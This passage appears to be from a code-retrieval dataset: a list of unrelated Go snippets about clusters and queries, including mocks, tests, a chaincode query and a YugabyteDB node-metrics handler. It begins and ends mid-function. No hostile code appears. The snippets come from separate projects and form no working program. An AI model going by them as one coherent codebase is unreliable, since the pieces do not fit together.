:= range nodes[start:end] {\n\t\t\t\taltDist := idDistance(s.Node.ID, key, id.MaxForSize(32))\n\t\t\t\tif id.Compare(altDist, dist) < 0 {\n\t\t\t\t\trequire.Fail(t, \"found routing to wrong node\", \"got distance %s but found closer distance %s\", dist, altDist)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t})\n\n}", "func (p PGSQLConnection) GetAllClusters() ([]ClusterModel, error) {\n\tclusters := []ClusterModel{}\n\tif err := p.connection.Select(&clusters, \"SELECT * FROM clusters\"); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn clusters, nil\n}", "func (t *SimpleChaincode) queryAll(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\n\tif len(args) != 0 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 0\")\n\t}\n\n resultsIterator, err := stub.GetStateByRange(\"\",\"\")\n if err != nil {\n return shim.Error(err.Error())\n }\n defer resultsIterator.Close()\n\n // buffer is a JSON array containing QueryResults\n var buffer bytes.Buffer\n buffer.WriteString(\"\\n[\")\n\n\tbArrayMemberAlreadyWritten := false\n for resultsIterator.HasNext() {\n queryResponse, err := resultsIterator.Next()\n if err != nil {\n return shim.Error(err.Error())\n }\n // Add a comma before array members, suppress it for the first array member\n if bArrayMemberAlreadyWritten == true {\n buffer.WriteString(\",\")\n }\n buffer.WriteString(\"{\\\"Key\\\":\")\n buffer.WriteString(\"\\\"\")\n buffer.WriteString(queryResponse.Key)\n buffer.WriteString(\"\\\"\")\n\n buffer.WriteString(\", \\\"Record\\\":\")\n // Record is a JSON object, so we write as-is\n buffer.WriteString(string(queryResponse.Value))\n buffer.WriteString(\"}\")\n bArrayMemberAlreadyWritten = true\n }\n buffer.WriteString(\"]\\n\")\n return shim.Success(buffer.Bytes())\n}", "func waitForClusterToBecomeAwareOfAllSubscriptions(servers []server.NATSServer, subscriptionCount int) error {\n\ttimeout := time.After(time.Second * 5)\n\tfor {\n\t\tselect {\n\t\tcase <-timeout:\n\t\t\tfor _, server := range servers {\n\t\t\t\tif int(server.NumSubscriptions()) != subscriptionCount {\n\t\t\t\t\treturn errors.New(\"Timed out : waitForClusterToBecomeAwareOfAllSubscriptions()\")\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.Logger.Info().Msg(\"Entire cluster is aware of all subscriptions\")\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tfor _, server := range servers {\n\t\t\t\tif int(server.NumSubscriptions()) != subscriptionCount {\n\t\t\t\t\tlog.Logger.Info().Msgf(\"Subscription count = %d\", server.NumSubscriptions())\n\t\t\t\t\ttime.Sleep(time.Millisecond)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.Logger.Info().Msg(\"Entire cluster is aware of all subscriptions\")\n\t\t\treturn nil\n\t\t}\n\n\t}\n}", "func (m *MockRdbClient) ListCluster(arg0 context.Context, arg1 *v1alpha.ListClusterRequest, arg2 ...grpc.CallOption) (*v1alpha.ListClusterResponse, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ListCluster\", varargs...)\n\tret0, _ := ret[0].(*v1alpha.ListClusterResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (mock *ConnMock) QueryNeoAllCalls() []struct {\n\tQuery string\n\tParams map[string]interface{}\n} {\n\tvar calls []struct {\n\t\tQuery string\n\t\tParams map[string]interface{}\n\t}\n\tlockConnMockQueryNeoAll.RLock()\n\tcalls = mock.calls.QueryNeoAll\n\tlockConnMockQueryNeoAll.RUnlock()\n\treturn calls\n}", "func (mock *Serf) ClusterCalls() []struct {\n} {\n\tvar calls []struct {\n\t}\n\tlockSerfCluster.RLock()\n\tcalls = mock.calls.Cluster\n\tlockSerfCluster.RUnlock()\n\treturn calls\n}", "func (mcs *MySQLClusterService) GetAll() error {\n\tvar err error\n\tmcs.MySQLClusters, err = mcs.MySQLClusterRepo.GetAll()\n\n\treturn err\n}", "func Test_ServiceQueryLarge(t *testing.T) {\n\tln, mux := mustNewMux()\n\tgo mux.Serve()\n\ttn := mux.Listen(1) // Could be any byte value.\n\tdb := mustNewMockDatabase()\n\tmgr := mustNewMockManager()\n\tcred := mustNewMockCredentialStore()\n\ts := New(tn, db, mgr, cred)\n\tif s == nil {\n\t\tt.Fatalf(\"failed to create cluster service\")\n\t}\n\n\tc := NewClient(mustNewDialer(1, false, false), 30*time.Second)\n\n\tif err := s.Open(); err != nil {\n\t\tt.Fatalf(\"failed to open cluster service: %s\", err.Error())\n\t}\n\n\tvar b strings.Builder\n\tfor i := 0; i < 100000; i++ {\n\t\tb.WriteString(\"bar\")\n\t}\n\tif b.Len() < 64000 {\n\t\tt.Fatalf(\"failed to generate a large enough string for test\")\n\t}\n\n\t// Ready for Query tests now.\n\tdb.queryFn = func(qr *command.QueryRequest) ([]*command.QueryRows, error) {\n\t\tparameter := &command.Parameter{\n\t\t\tValue: &command.Parameter_S{\n\t\t\t\tS: b.String(),\n\t\t\t},\n\t\t}\n\t\tvalue := &command.Values{\n\t\t\tParameters: []*command.Parameter{parameter},\n\t\t}\n\n\t\trows := &command.QueryRows{\n\t\t\tColumns: []string{\"c1\"},\n\t\t\tTypes: []string{\"t1\"},\n\t\t\tValues: []*command.Values{value},\n\t\t}\n\t\treturn []*command.QueryRows{rows}, nil\n\t}\n\tres, err := c.Query(queryRequestFromString(\"SELECT * FROM foo\"), s.Addr(), NO_CREDS, longWait)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to query: %s\", err.Error())\n\t}\n\tif exp, got := fmt.Sprintf(`[{\"columns\":[\"c1\"],\"types\":[\"t1\"],\"values\":[[\"%s\"]]}]`, b.String()), asJSON(res); exp != got {\n\t\tt.Fatalf(\"unexpected results for query, expected %s, got %s\", exp, got)\n\t}\n\n\t// Clean up resources.\n\tif err := ln.Close(); err != nil {\n\t\tt.Fatalf(\"failed to close Mux's listener: %s\", err)\n\t}\n\tif err := s.Close(); err != nil {\n\t\tt.Fatalf(\"failed to close cluster service\")\n\t}\n}", "func TestCluster_ContainsShards(t *testing.T) {\n\tc := NewTestCluster(5)\n\tc.ReplicaN = 3\n\tshards := c.containsShards(\"test\", roaring.NewBitmap(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10), c.nodes[2])\n\n\tif !reflect.DeepEqual(shards, []uint64{0, 2, 3, 5, 6, 9, 10}) {\n\t\tt.Fatalf(\"unexpected shars for node's index: %v\", shards)\n\t}\n}", "func Test_Cluster_Load(t *testing.T) {\n\ttotal := 5\n\tvar server [5]cluster.Server\n\tfor i := 0; i < total; i++ {\n\t\tserver[i] = cluster.New(i+1, \"../config.json\")\n\t}\n\n\t// Random messages\n\tmessage := []string{\"hello\", \"hi\", \"how are you\", \"hello its long day\", \"hoho\"}\n\n\t//Populating pids array with all pids including -1\n\tpeers := server[0].Peers()\n\tn := len(peers)\n\tpids := make([]int, n+2)\n\tfor i := 0; i < n; i++ {\n\t\tpids[i] = peers[i]\n\t}\n\tpids[n] = server[0].Pid()\n\tpids[n+1] = -1\n\n\tN_msg := 0\n\n\tcount := make([]int, 5)\n\tfor i := 0; i< total; i++ {\n\t\tcount[i] = 0\n\t}\n\n\twg := new(sync.WaitGroup)\n\tfor i := 0; i< total; i++ {\n\t\twg.Add(1)\n\t\tgo checkInput(server[i], &count[i], wg)\n\t}\n\n\tfor j := 0; j < 100000; j++ {\n\t\t// Random sender\n\t\tx := rand.Intn(total)\n\t\t// Random reciever (pids[y])\n\t\ty := rand.Intn(n + 2)\n\t\t// Random message\n\t\tz := rand.Intn(5)\n\n\t\tif pids[y] == (x + 1) {\n\t\t\tcontinue\n\t\t}\n\t\t// Calculating total messages to be sent ideally.\n\t\tif pids[y] == -1 {\n\t\t\tN_msg += 4\n\t\t} else {\n\t\t\tN_msg++\n\t\t}\n\t\t// Sending message to channel\n\t\tserver[x].Outbox() <- &cluster.Envelope{SendTo: pids[y], SendBy: x + 1, Msg: message[z]}\n\t}\n\n\tfor i := 0; i< total; i++ {\n\t\tclose(server[i].Outbox())\n\t}\n\t// Waiting for goroutines to end\n\twg.Wait()\n\n\tvar totalCount int\n\tfor i := 0; i< total; i++ {\n\t\ttotalCount += count[i]\n\t}\n\n\tif totalCount != N_msg {\n\t\tpanic (\"All messages not recieved..\")\n\t}\n\n\tt.Log(\"Load test passed.\")\n\n}", "func (db *jsonDB) QueryAll() ([]common.Task, bool) {\n\treturn db.data, len(db.data) > 0\n}", "func (mr *MockTChanClusterMockRecorder) Query(ctx, req interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Query\", reflect.TypeOf((*MockTChanCluster)(nil).Query), ctx, req)\n}", "func (d *Dao) pingESCluster(ctx context.Context) (err error) {\n\t//for name, client := range d.ESPool {\n\t//\tif _, _, err = client.Ping(d.c.Es[name].Addr[0]).Do(ctx); err != nil {\n\t//\t\td.PromError(\"Es:Ping\", \"%s:Ping error(%v)\", name, err)\n\t//\t\treturn\n\t//\t}\n\t//}\n\treturn\n}", "func QueryAll(ctx context.Context, queryable Queryable, mapper RowMapper, query string, args ...interface{}) ([]interface{}, error) {\n\tvar err error\n\tstart := time.Now()\n\tdefer func(e error) {\n\t\tlatency := time.Since(start)\n\t\tzap.L().Info(\"queryAll\", zap.Int(\"latency\", int(latency.Seconds()*1000)), zap.Bool(\"success\", e == sql.ErrNoRows || e == nil), zap.String(\"activityId\", GetTraceID(ctx)))\n\t}(err)\n\n\trows, err := queryable.QueryContext(ctx, query, args...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer rows.Close()\n\tresults := make([]interface{}, 0, 10)\n\tfor rows.Next() {\n\t\tobj, err := mapper.Map(rows)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tresults = append(results, obj)\n\t}\n\n\treturn results, nil\n}", "func QueryAllClientStates(clientCtx client.Context, page, limit int) ([]exported.ClientState, int64, error) {\n\tparams := types.NewQueryAllClientsParams(page, limit)\n\tbz, err := clientCtx.JSONMarshaler.MarshalJSON(params)\n\tif err != nil {\n\t\treturn nil, 0, fmt.Errorf(\"failed to marshal query params: %w\", err)\n\t}\n\n\troute := fmt.Sprintf(\"custom/%s/%s/%s\", \"ibc\", types.QuerierRoute, types.QueryAllClients)\n\tres, height, err := clientCtx.QueryWithData(route, bz)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tvar clients []exported.ClientState\n\terr = clientCtx.JSONMarshaler.UnmarshalJSON(res, &clients)\n\tif err != nil {\n\t\treturn nil, 0, fmt.Errorf(\"failed to unmarshal light clients: %w\", err)\n\t}\n\treturn clients, height, nil\n}", "func (o *VirtualizationVmwareVirtualMachineAllOf) GetClusterOk() (*VirtualizationVmwareClusterRelationship, bool) {\n\tif o == nil || o.Cluster == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Cluster, true\n}", "func TestClusterEmptySingleNode(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"skipping cluster test in short mode.\")\n\t}\n\tt.Parallel()\n\n\ttc := newTestCluster(t)\n\tdefer tc.tearDown()\n\n\ttc.addSequinses(1)\n\ttc.makeVersionAvailable(v3)\n\ttc.expectProgression(down, noVersion, v3)\n\n\ttc.setup()\n\ttc.startTest()\n\ttc.assertProgression()\n}", "func TestFakeCluster(t *testing.T) {\n\tfakePegasusCluster = newFakeCluster(4)\n\n\ttestCases := []struct {\n\t\ttbName string\n\t\tpartitionNum int\n\t}{\n\t\t{tbName: \"test1\", partitionNum: 16},\n\t\t{tbName: \"test2\", partitionNum: 32},\n\t\t{tbName: \"test3\", partitionNum: 64},\n\t\t{tbName: \"test4\", partitionNum: 128},\n\t}\n\n\tfor _, tt := range testCases {\n\t\tcreateFakeTable(tt.tbName, tt.partitionNum)\n\t}\n\n\tassertReplicasNotOnSameNode(t)\n\n\texpectedTotalPartitions := 16 + 32 + 64 + 128\n\tassertNoMissingReplicaInCluster(t, expectedTotalPartitions)\n}", "func (c *Container) GetClusterNodes(ctx echo.Context) error {\n response := models.ClusterNodesResponse{\n Data: []models.NodeData{},\n }\n tabletServersFuture := make(chan helpers.TabletServersFuture)\n clusterConfigFuture := make(chan helpers.ClusterConfigFuture)\n go helpers.GetTabletServersFuture(helpers.HOST, tabletServersFuture)\n go helpers.GetClusterConfigFuture(helpers.HOST, clusterConfigFuture)\n tabletServersResponse := <-tabletServersFuture\n if tabletServersResponse.Error != nil {\n return ctx.String(http.StatusInternalServerError,\n tabletServersResponse.Error.Error())\n }\n // Use the cluster config API to get the read-replica (If any) placement UUID\n clusterConfigResponse := <-clusterConfigFuture\n readReplicaUuid := \"\"\n if clusterConfigResponse.Error == nil {\n for _, replica := range clusterConfigResponse.\n ClusterConfig.ReplicationInfo.ReadReplicas {\n readReplicaUuid = replica.PlacementUuid\n }\n }\n mastersFuture := make(chan helpers.MastersFuture)\n go helpers.GetMastersFuture(helpers.HOST, mastersFuture)\n\n nodeList := helpers.GetNodesList(tabletServersResponse)\n versionInfoFutures := map[string]chan helpers.VersionInfoFuture{}\n for _, nodeHost := range nodeList {\n versionInfoFuture := make(chan helpers.VersionInfoFuture)\n versionInfoFutures[nodeHost] = versionInfoFuture\n go helpers.GetVersionFuture(nodeHost, versionInfoFuture)\n }\n activeYsqlConnectionsFutures := map[string]chan helpers.ActiveYsqlConnectionsFuture{}\n activeYcqlConnectionsFutures := map[string]chan helpers.ActiveYcqlConnectionsFuture{}\n masterMemTrackersFutures := map[string]chan helpers.MemTrackersFuture{}\n tserverMemTrackersFutures := map[string]chan helpers.MemTrackersFuture{}\n for _, nodeHost := range nodeList {\n activeYsqlConnectionsFuture := make(chan helpers.ActiveYsqlConnectionsFuture)\n activeYsqlConnectionsFutures[nodeHost] = activeYsqlConnectionsFuture\n go helpers.GetActiveYsqlConnectionsFuture(nodeHost, activeYsqlConnectionsFuture)\n activeYcqlConnectionsFuture := make(chan helpers.ActiveYcqlConnectionsFuture)\n activeYcqlConnectionsFutures[nodeHost] = activeYcqlConnectionsFuture\n go helpers.GetActiveYcqlConnectionsFuture(nodeHost, activeYcqlConnectionsFuture)\n masterMemTrackerFuture := make(chan helpers.MemTrackersFuture)\n masterMemTrackersFutures[nodeHost] = masterMemTrackerFuture\n go helpers.GetMemTrackersFuture(nodeHost, true, masterMemTrackerFuture)\n tserverMemTrackerFuture := make(chan helpers.MemTrackersFuture)\n tserverMemTrackersFutures[nodeHost] = tserverMemTrackerFuture\n go helpers.GetMemTrackersFuture(nodeHost, false, tserverMemTrackerFuture)\n }\n masters := map[string]helpers.Master{}\n mastersResponse := <-mastersFuture\n if mastersResponse.Error == nil {\n for _, master := range mastersResponse.Masters {\n if len(master.Registration.PrivateRpcAddresses) > 0 {\n masters[master.Registration.PrivateRpcAddresses[0].Host] = master\n }\n }\n }\n currentTime := time.Now().UnixMicro()\n hostToUuid, errHostToUuidMap := helpers.GetHostToUuidMap(helpers.HOST)\n for placementUuid, obj := range tabletServersResponse.Tablets {\n // Cross check the placement UUID of the node with that of read-replica cluster\n isReadReplica := false\n if readReplicaUuid == placementUuid {\n isReadReplica = true\n }\n for hostport, nodeData := range obj {\n host, _, err := net.SplitHostPort(hostport)\n // If we can split hostport, just use host as name.\n // Otherwise, use hostport as name.\n // However, we can only get version information if we can get the host\n hostName := hostport\n versionNumber := \"\"\n activeYsqlConnections := int64(0)\n activeYcqlConnections := int64(0)\n isMasterUp := true\n ramUsedTserver := int64(0)\n ramUsedMaster := int64(0)\n ramLimitTserver := int64(0)\n ramLimitMaster := int64(0)\n masterUptimeUs := int64(0)\n totalDiskBytes := int64(0)\n if err == nil {\n hostName = host\n versionInfo := <-versionInfoFutures[hostName]\n if versionInfo.Error == nil {\n versionNumber = versionInfo.VersionInfo.VersionNumber\n }\n ysqlConnections := <-activeYsqlConnectionsFutures[hostName]\n if ysqlConnections.Error == nil {\n activeYsqlConnections += ysqlConnections.YsqlConnections\n }\n ycqlConnections := <-activeYcqlConnectionsFutures[hostName]\n if ycqlConnections.Error == nil {\n activeYcqlConnections += ycqlConnections.YcqlConnections\n }\n masterMemTracker := <-masterMemTrackersFutures[hostName]\n if masterMemTracker.Error == nil {\n ramUsedMaster = masterMemTracker.Consumption\n ramLimitMaster = masterMemTracker.Limit\n }\n tserverMemTracker := <-tserverMemTrackersFutures[hostName]\n if tserverMemTracker.Error == nil {\n ramUsedTserver = tserverMemTracker.Consumption\n ramLimitTserver = tserverMemTracker.Limit\n }\n if master, ok := masters[hostName]; ok {\n isMasterUp = master.Error == nil\n if isMasterUp {\n masterUptimeUs = currentTime - master.InstanceId.StartTimeUs\n }\n }\n if errHostToUuidMap == nil {\n query :=\n fmt.Sprintf(QUERY_LIMIT_ONE, \"system.metrics\", \"total_disk\",\n hostToUuid[hostName])\n session, err := c.GetSession()\n if err == nil {\n iter := session.Query(query).Iter()\n var ts int64\n var value int64\n var details string\n iter.Scan(&ts, &value, &details)\n totalDiskBytes = value\n }\n }\n }\n totalSstFileSizeBytes := int64(nodeData.TotalSstFileSizeBytes)\n uncompressedSstFileSizeBytes :=\n int64(nodeData.UncompressedSstFileSizeBytes)\n userTabletsTotal := int64(nodeData.UserTabletsTotal)\n userTabletsLeaders := int64(nodeData.UserTabletsLeaders)\n systemTabletsTotal := int64(nodeData.SystemTabletsTotal)\n systemTabletsLeaders := int64(nodeData.SystemTabletsLeaders)\n activeConnections := models.NodeDataMetricsActiveConnections{\n Ysql: activeYsqlConnections,\n Ycql: activeYcqlConnections,\n }\n ramUsedBytes := ramUsedMaster + ramUsedTserver\n ramProvisionedBytes := ramLimitMaster + ramLimitTserver\n isBootstrapping := true\n // For now we hard code isBootstrapping here, and we use the\n // GetIsLoadBalancerIdle endpoint separately to determine if\n // a node is bootstrapping on the frontend, since yb-admin is a\n // bit slow. Once we get a faster way of doing this we can move\n // the implementation here.\n // For now, assuming that IsMaster and IsTserver are always true\n // The UI frontend doesn't use these values so this should be ok for now\n response.Data = append(response.Data, models.NodeData{\n Name: hostName,\n Host: hostName,\n IsNodeUp: nodeData.Status == \"ALIVE\",\n IsMaster: true,\n IsTserver: true,\n IsReadReplica: isReadReplica,\n IsMasterUp: isMasterUp,\n IsBootstrapping: isBootstrapping,\n Metrics: models.NodeDataMetrics{\n // Eventually we want to change models.NodeDataMetrics so that\n // all the int64 fields are uint64. But currently openapi\n // generator only generates int64s. Ideally if we set\n // minimum: 0 in the specs, the generator should use uint64.\n // We should try to implement this into openapi-generator.\n MemoryUsedBytes: int64(nodeData.RamUsedBytes),\n TotalSstFileSizeBytes: &totalSstFileSizeBytes,\n UncompressedSstFileSizeBytes: &uncompressedSstFileSizeBytes,\n ReadOpsPerSec: nodeData.ReadOpsPerSec,\n WriteOpsPerSec: nodeData.WriteOpsPerSec,\n TimeSinceHbSec: nodeData.TimeSinceHbSec,\n UptimeSeconds: int64(nodeData.UptimeSeconds),\n UserTabletsTotal: userTabletsTotal,\n UserTabletsLeaders: userTabletsLeaders,\n SystemTabletsTotal: systemTabletsTotal,\n SystemTabletsLeaders: systemTabletsLeaders,\n ActiveConnections: activeConnections,\n MasterUptimeUs: masterUptimeUs,\n RamUsedBytes: ramUsedBytes,\n RamProvisionedBytes: ramProvisionedBytes,\n DiskProvisionedBytes: totalDiskBytes,\n },\n CloudInfo: models.NodeDataCloudInfo{\n Cloud: nodeData.Cloud,\n Region: nodeData.Region,\n Zone: nodeData.Zone,\n },\n SoftwareVersion: versionNumber,\n })\n }\n }\n sort.Slice(response.Data, func(i, j int) bool {\n return response.Data[i].Name < response.Data[j].Name\n })\n return ctx.JSON(http.StatusOK, response)\n}", "func GetClusters(config core.Configuration, clusterID *string, localQuotaUsageOnly bool, withSubcapacities bool, dbi db.Interface, filter Filter) ([]*limes.ClusterReport, error) {\n\t//first query: collect project usage data in these clusters\n\tclusters := make(clusters)\n\tqueryStr, joinArgs := filter.PrepareQuery(clusterReportQuery1)\n\twhereStr, whereArgs := db.BuildSimpleWhereClause(makeClusterFilter(\"d\", clusterID), len(joinArgs))\n\terr := db.ForeachRow(db.DB, fmt.Sprintf(queryStr, whereStr), append(joinArgs, whereArgs...), func(rows *sql.Rows) error {\n\t\tvar (\n\t\t\tclusterID string\n\t\t\tserviceType *string\n\t\t\tresourceName *string\n\t\t\tprojectsQuota *uint64\n\t\t\tusage *uint64\n\t\t\tburstUsage *uint64\n\t\t\tminScrapedAt *util.Time\n\t\t\tmaxScrapedAt *util.Time\n\t\t)\n\t\terr := rows.Scan(&clusterID, &serviceType, &resourceName,\n\t\t\t&projectsQuota, &usage, &burstUsage,\n\t\t\t&minScrapedAt, &maxScrapedAt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_, service, resource := clusters.Find(config, clusterID, serviceType, resourceName)\n\n\t\tclusterConfig, exists := config.Clusters[clusterID]\n\t\tclusterCanBurst := exists && clusterConfig.Config.Bursting.MaxMultiplier > 0\n\n\t\tif service != nil {\n\t\t\tif maxScrapedAt != nil {\n\t\t\t\tval := time.Time(*maxScrapedAt).Unix()\n\t\t\t\tservice.MaxScrapedAt = &val\n\t\t\t}\n\t\t\tif minScrapedAt != nil {\n\t\t\t\tval := time.Time(*minScrapedAt).Unix()\n\t\t\t\tservice.MinScrapedAt = &val\n\t\t\t}\n\t\t}\n\n\t\tif resource != nil {\n\t\t\tif projectsQuota != nil && resource.ExternallyManaged {\n\t\t\t\tresource.DomainsQuota = *projectsQuota\n\t\t\t}\n\t\t\tif usage != nil {\n\t\t\t\tresource.Usage = *usage\n\t\t\t}\n\t\t\tif clusterCanBurst && burstUsage != nil {\n\t\t\t\tresource.BurstUsage = *burstUsage\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//second query: collect domain quota data in these clusters\n\tqueryStr, joinArgs = filter.PrepareQuery(clusterReportQuery2)\n\twhereStr, whereArgs = db.BuildSimpleWhereClause(makeClusterFilter(\"d\", clusterID), len(joinArgs))\n\terr = db.ForeachRow(db.DB, fmt.Sprintf(queryStr, whereStr), append(joinArgs, whereArgs...), func(rows *sql.Rows) error {\n\t\tvar (\n\t\t\tclusterID string\n\t\t\tserviceType *string\n\t\t\tresourceName *string\n\t\t\tquota *uint64\n\t\t)\n\t\terr := rows.Scan(&clusterID, &serviceType, &resourceName, &quota)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_, _, resource := clusters.Find(config, clusterID, serviceType, resourceName)\n\n\t\tif resource != nil && quota != nil && !resource.ExternallyManaged {\n\t\t\tresource.DomainsQuota = *quota\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//third query: collect capacity data for these clusters\n\tqueryStr, joinArgs = filter.PrepareQuery(clusterReportQuery3)\n\tif !withSubcapacities {\n\t\tqueryStr = strings.Replace(queryStr, \"cr.subcapacities\", \"''\", 1)\n\t}\n\twhereStr, whereArgs = db.BuildSimpleWhereClause(makeClusterFilter(\"cs\", clusterID), len(joinArgs))\n\terr = db.ForeachRow(db.DB, fmt.Sprintf(queryStr, whereStr), append(joinArgs, whereArgs...), func(rows *sql.Rows) error {\n\t\tvar (\n\t\t\tclusterID string\n\t\t\tserviceType string\n\t\t\tresourceName *string\n\t\t\trawCapacity *uint64\n\t\t\tcomment *string\n\t\t\tsubcapacities *string\n\t\t\tscrapedAt util.Time\n\t\t)\n\t\terr := rows.Scan(&clusterID, &serviceType, &resourceName, &rawCapacity, &comment, &subcapacities, &scrapedAt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcluster, _, resource := clusters.Find(config, clusterID, &serviceType, resourceName)\n\n\t\tif resource != nil {\n\t\t\tovercommitFactor := config.Clusters[clusterID].BehaviorForResource(serviceType, *resourceName).OvercommitFactor\n\t\t\tif overcommitFactor == 0 {\n\t\t\t\tresource.Capacity = rawCapacity\n\t\t\t} else {\n\t\t\t\tresource.RawCapacity = rawCapacity\n\t\t\t\tcapacity := uint64(float64(*rawCapacity) * overcommitFactor)\n\t\t\t\tresource.Capacity = &capacity\n\t\t\t}\n\t\t\tif comment != nil {\n\t\t\t\tresource.Comment = *comment\n\t\t\t}\n\t\t\tif subcapacities != nil && *subcapacities != \"\" {\n\t\t\t\tresource.Subcapacities = limes.JSONString(*subcapacities)\n\t\t\t}\n\t\t}\n\n\t\tif cluster != nil {\n\t\t\tscrapedAtUnix := time.Time(scrapedAt).Unix()\n\t\t\tif cluster.MaxScrapedAt == nil || *cluster.MaxScrapedAt < scrapedAtUnix {\n\t\t\t\tcluster.MaxScrapedAt = &scrapedAtUnix\n\t\t\t}\n\t\t\tif cluster.MinScrapedAt == nil || *cluster.MinScrapedAt > scrapedAtUnix {\n\t\t\t\tcluster.MinScrapedAt = &scrapedAtUnix\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//enumerate shared services\n\tisSharedService := make(map[string]bool)\n\tfor clusterID := range clusters {\n\t\tclusterConfig, exists := config.Clusters[clusterID]\n\t\tif exists {\n\t\t\tfor serviceType, shared := range clusterConfig.IsServiceShared {\n\t\t\t\tif shared {\n\t\t\t\t\tisSharedService[serviceType] = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(isSharedService) > 0 {\n\n\t\tif !localQuotaUsageOnly {\n\n\t\t\t//fourth query: aggregate domain quota for shared services\n\t\t\tsharedQuotaSums := make(map[string]map[string]uint64)\n\n\t\t\tsharedServiceTypes := make([]string, 0, len(isSharedService))\n\t\t\tfor serviceType := range isSharedService {\n\t\t\t\tsharedServiceTypes = append(sharedServiceTypes, serviceType)\n\t\t\t}\n\t\t\twhereStr, queryArgs := db.BuildSimpleWhereClause(map[string]interface{}{\"ds.type\": sharedServiceTypes}, 0)\n\t\t\terr = db.ForeachRow(db.DB, fmt.Sprintf(clusterReportQuery4, whereStr), queryArgs, func(rows *sql.Rows) error {\n\t\t\t\tvar (\n\t\t\t\t\tserviceType string\n\t\t\t\t\tresourceName string\n\t\t\t\t\tquota uint64\n\t\t\t\t)\n\t\t\t\terr := rows.Scan(&serviceType, &resourceName, &quota)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif sharedQuotaSums[serviceType] == nil {\n\t\t\t\t\tsharedQuotaSums[serviceType] = make(map[string]uint64)\n\t\t\t\t}\n\t\t\t\tsharedQuotaSums[serviceType][resourceName] = quota\n\t\t\t\treturn nil\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t//fifth query: aggregate project quota for shared services\n\t\t\twhereStr, queryArgs = db.BuildSimpleWhereClause(map[string]interface{}{\"ps.type\": sharedServiceTypes}, 0)\n\t\t\tsharedUsageSums := make(map[string]map[string]uint64)\n\t\t\terr = db.ForeachRow(db.DB, fmt.Sprintf(clusterReportQuery5, whereStr), queryArgs, func(rows *sql.Rows) error {\n\t\t\t\tvar (\n\t\t\t\t\tserviceType string\n\t\t\t\t\tresourceName string\n\t\t\t\t\tusage uint64\n\t\t\t\t)\n\t\t\t\terr := rows.Scan(&serviceType, &resourceName, &usage)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif sharedUsageSums[serviceType] == nil {\n\t\t\t\t\tsharedUsageSums[serviceType] = make(map[string]uint64)\n\t\t\t\t}\n\t\t\t\tsharedUsageSums[serviceType][resourceName] = usage\n\t\t\t\treturn nil\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tfor _, cluster := range clusters {\n\t\t\t\tisSharedService := make(map[string]bool)\n\t\t\t\tfor serviceType, shared := range config.Clusters[cluster.ID].IsServiceShared {\n\t\t\t\t\t//NOTE: cluster config is guaranteed to exist due to earlier validation\n\t\t\t\t\tif shared {\n\t\t\t\t\t\tisSharedService[serviceType] = true\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor _, service := range cluster.Services {\n\t\t\t\t\tif isSharedService[service.Type] && sharedQuotaSums[service.Type] != nil {\n\t\t\t\t\t\tfor _, resource := range service.Resources {\n\t\t\t\t\t\t\tquota, exists := sharedQuotaSums[service.Type][resource.Name]\n\t\t\t\t\t\t\tif exists {\n\t\t\t\t\t\t\t\tresource.DomainsQuota = quota\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tusage, exists := sharedUsageSums[service.Type][resource.Name]\n\t\t\t\t\t\t\tif exists {\n\t\t\t\t\t\t\t\tresource.Usage = usage\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t\t//third query again, but this time to collect shared capacities\n\t\tqueryStr, joinArgs = filter.PrepareQuery(clusterReportQuery3)\n\t\tif !withSubcapacities {\n\t\t\tqueryStr = strings.Replace(queryStr, \"cr.subcapacities\", \"''\", 1)\n\t\t}\n\t\tfilter := map[string]interface{}{\"cs.cluster_id\": \"shared\"}\n\t\twhereStr, whereArgs = db.BuildSimpleWhereClause(filter, len(joinArgs))\n\t\terr = db.ForeachRow(db.DB, fmt.Sprintf(queryStr, whereStr), append(joinArgs, whereArgs...), func(rows *sql.Rows) error {\n\t\t\tvar (\n\t\t\t\tsharedClusterID string\n\t\t\t\tserviceType string\n\t\t\t\tresourceName *string\n\t\t\t\trawCapacity 